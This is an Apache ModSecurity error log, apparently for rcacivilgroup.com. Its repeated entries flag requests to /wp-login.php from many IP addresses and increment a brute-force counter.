[Tue May 19 07:53:47.650334 2026] [:error] [pid 38705:tid 38782] [client 94.76.159.171:25793] [client 94.76.159.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.171, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumi8g5dNOZ5umN9lsobAAAAI0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:50.225554 2026] [:error] [pid 38697:tid 38727] [client 94.76.159.199:21761] [client 94.76.159.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.199, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumjqXP9pP6Kgt-msTHggAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:52.744168 2026] [:error] [pid 38699:tid 38744] [client 94.76.142.163:58939] [client 94.76.142.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.163, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumkL--Adsw_P-dthZDGAAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:55.226313 2026] [:error] [pid 41573:tid 41597] [client 88.148.126.127:36927] [client 88.148.126.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.127, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumky1A2bd6JDSW9RZAuAAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:53:57.747321 2026] [:error] [pid 46896:tid 46921] [client 94.76.159.180:52171] [client 94.76.159.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumlaCHyzL3Ci9LGE3uagAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:00.233884 2026] [:error] [pid 38697:tid 38739] [client 88.148.126.21:28445] [client 88.148.126.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.21, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agummKXP9pP6Kgt-msTHjgAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:02.788549 2026] [:error] [pid 38697:tid 38729] [client 88.148.85.49:41893] [client 88.148.85.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.49, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agummqXP9pP6Kgt-msTHlQAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:05.265717 2026] [:error] [pid 46815:tid 46822] [client 62.106.67.70:18889] [client 62.106.67.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumnSPnRhJOmA06LgoJeAAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:07.787065 2026] [:error] [pid 38705:tid 38784] [client 88.148.93.210:61303] [client 88.148.93.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.210, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumn8g5dNOZ5umN9lsodQAAAI8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:10.226646 2026] [:error] [pid 38697:tid 38719] [client 159.253.248.20:63771] [client 159.253.248.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumoqXP9pP6Kgt-msTHoQAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:12.653056 2026] [:error] [pid 38697:tid 38717] [client 159.253.248.11:26209] [client 159.253.248.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumpKXP9pP6Kgt-msTHowAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:15.156675 2026] [:error] [pid 38697:tid 38718] [client 94.76.142.163:40655] [client 94.76.142.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.163, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agump6XP9pP6Kgt-msTHqAAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:17.655011 2026] [:error] [pid 46896:tid 46908] [client 88.148.93.52:11877] [client 88.148.93.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumqaCHyzL3Ci9LGE3ubQAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:20.225442 2026] [:error] [pid 46896:tid 46909] [client 88.148.126.209:64407] [client 88.148.126.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.209, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumrKCHyzL3Ci9LGE3ubgAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:22.681415 2026] [:error] [pid 38814:tid 38819] [client 62.106.67.45:37283] [client 62.106.67.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.45, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumrgvkKuBwP0epzWdgywAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:25.165667 2026] [:error] [pid 38814:tid 38828] [client 94.76.159.180:58459] [client 94.76.159.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumsQvkKuBwP0epzWdgzQAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:27.624165 2026] [:error] [pid 38699:tid 38742] [client 62.106.67.80:58723] [client 62.106.67.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agums7--Adsw_P-dthZDLwAAAEA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:30.055663 2026] [:error] [pid 46896:tid 46916] [client 88.148.93.84:42753] [client 88.148.93.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumtqCHyzL3Ci9LGE3ucgAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:32.491254 2026] [:error] [pid 46896:tid 46917] [client 88.148.126.30:31815] [client 88.148.126.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumuKCHyzL3Ci9LGE3ucwAAAZM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:34.934591 2026] [:error] [pid 46896:tid 46914] [client 88.148.126.37:26445] [client 88.148.126.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumuqCHyzL3Ci9LGE3udAAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:37.356951 2026] [:error] [pid 38697:tid 38738] [client 94.76.142.38:54839] [client 94.76.142.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumvaXP9pP6Kgt-msTHrAAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:39.838545 2026] [:error] [pid 46896:tid 46910] [client 62.106.67.81:30313] [client 62.106.67.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumv6CHyzL3Ci9LGE3udgAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:42.358497 2026] [:error] [pid 38699:tid 38756] [client 62.106.67.110:31273] [client 62.106.67.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumwr--Adsw_P-dthZDMwAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:44.884346 2026] [:error] [pid 38699:tid 38754] [client 94.76.142.163:12853] [client 94.76.142.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.163, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumxL--Adsw_P-dthZDNAAAAEw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:47.413153 2026] [:error] [pid 41573:tid 41587] [client 62.106.67.162:51231] [client 62.106.67.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumxy1A2bd6JDSW9RZAyQAAAQw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:49.914153 2026] [:error] [pid 38705:tid 38781] [client 88.148.126.219:51863] [client 88.148.126.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumycg5dNOZ5umN9lsofAAAAIw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:52.464793 2026] [:error] [pid 38814:tid 38832] [client 88.148.126.64:42633] [client 88.148.126.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumzAvkKuBwP0epzWdgzwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:54.951121 2026] [:error] [pid 41573:tid 41586] [client 62.106.67.195:53439] [client 62.106.67.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.195, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumzi1A2bd6JDSW9RZA0wAAAQs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:54:58.096340 2026] [:error] [pid 38705:tid 38771] [client 94.76.159.15:46249] [client 94.76.159.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum0sg5dNOZ5umN9lsogAAAAII"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:00.578290 2026] [:error] [pid 38705:tid 38777] [client 88.148.85.180:26911] [client 88.148.85.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum1Mg5dNOZ5umN9lsogQAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:03.020348 2026] [:error] [pid 38699:tid 38752] [client 62.106.67.224:21471] [client 62.106.67.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum17--Adsw_P-dthZDNwAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:05.589955 2026] [:error] [pid 38697:tid 38716] [client 94.76.159.184:60137] [client 94.76.159.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.184, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum2aXP9pP6Kgt-msTHyAAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:08.044752 2026] [:error] [pid 38699:tid 38745] [client 159.253.248.65:62211] [client 159.253.248.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.65, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum3L--Adsw_P-dthZDOgAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:10.550447 2026] [:error] [pid 46896:tid 46912] [client 88.148.93.127:40279] [client 88.148.93.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.127, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum3qCHyzL3Ci9LGE3uhgAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:13.103187 2026] [:error] [pid 41573:tid 41584] [client 94.76.159.34:11727] [client 94.76.159.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum4S1A2bd6JDSW9RZA1AAAAQk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:15.555685 2026] [:error] [pid 41573:tid 41585] [client 88.148.85.195:30457] [client 88.148.85.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.195, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum4y1A2bd6JDSW9RZA1QAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:18.064535 2026] [:error] [pid 38697:tid 38717] [client 159.253.248.65:15443] [client 159.253.248.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.65, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum5qXP9pP6Kgt-msTHzgAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:20.486680 2026] [:error] [pid 46896:tid 46911] [client 88.148.85.207:10465] [client 88.148.85.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.207, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum6KCHyzL3Ci9LGE3uhwAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:22.981962 2026] [:error] [pid 46896:tid 46902] [client 159.253.248.205:55973] [client 159.253.248.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.253.248.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum6qCHyzL3Ci9LGE3uiAAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:25.735403 2026] [:error] [pid 46896:tid 46905] [client 88.148.126.175:28921] [client 88.148.126.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum7aCHyzL3Ci9LGE3uigAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:28.168733 2026] [:error] [pid 46896:tid 46918] [client 88.148.126.134:33373] [client 88.148.126.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.126.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum8KCHyzL3Ci9LGE3ujQAAAZQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:30.700802 2026] [:error] [pid 38697:tid 38736] [client 94.76.159.99:27863] [client 94.76.159.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.99, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum8qXP9pP6Kgt-msTH0wAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:33.169269 2026] [:error] [pid 38697:tid 38733] [client 94.76.169.107:46207] [client 94.76.169.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum9aXP9pP6Kgt-msTH1wAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:35.614831 2026] [:error] [pid 38697:tid 38724] [client 88.148.93.250:24437] [client 88.148.93.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum96XP9pP6Kgt-msTH2gAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:38.135496 2026] [:error] [pid 38699:tid 38745] [client 88.148.93.159:57699] [client 88.148.93.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum-r--Adsw_P-dthZDQgAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:40.639642 2026] [:error] [pid 38697:tid 38723] [client 94.76.169.206:10717] [client 94.76.169.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.206, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum_KXP9pP6Kgt-msTH4QAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:43.130301 2026] [:error] [pid 38697:tid 38731] [client 94.76.159.221:61513] [client 94.76.159.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agum_6XP9pP6Kgt-msTH4wAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:45.634900 2026] [:error] [pid 38697:tid 38722] [client 88.148.93.15:43577] [client 88.148.93.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunAaXP9pP6Kgt-msTH5gAAAAc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:48.073468 2026] [:error] [pid 38697:tid 38732] [client 94.76.169.185:44501] [client 94.76.169.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunBKXP9pP6Kgt-msTH6QAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:50.479189 2026] [:error] [pid 41573:tid 41580] [client 62.106.67.43:10305] [client 62.106.67.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.43, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunBi1A2bd6JDSW9RZA2QAAAQU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:52.920850 2026] [:error] [pid 46896:tid 46901] [client 94.76.142.148:52763] [client 94.76.142.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunCKCHyzL3Ci9LGE3ukAAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:55.379550 2026] [:error] [pid 38699:tid 38761] [client 94.76.142.148:31733] [client 94.76.142.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunC7--Adsw_P-dthZDRQAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:55:57.904133 2026] [:error] [pid 46815:tid 46827] [client 62.106.67.110:63431] [client 62.106.67.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunDSPnRhJOmA06LgoJnQAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:56:00.421358 2026] [:error] [pid 38697:tid 38719] [client 94.76.142.248:22287] [client 94.76.142.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agunEKXP9pP6Kgt-msTH7QAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
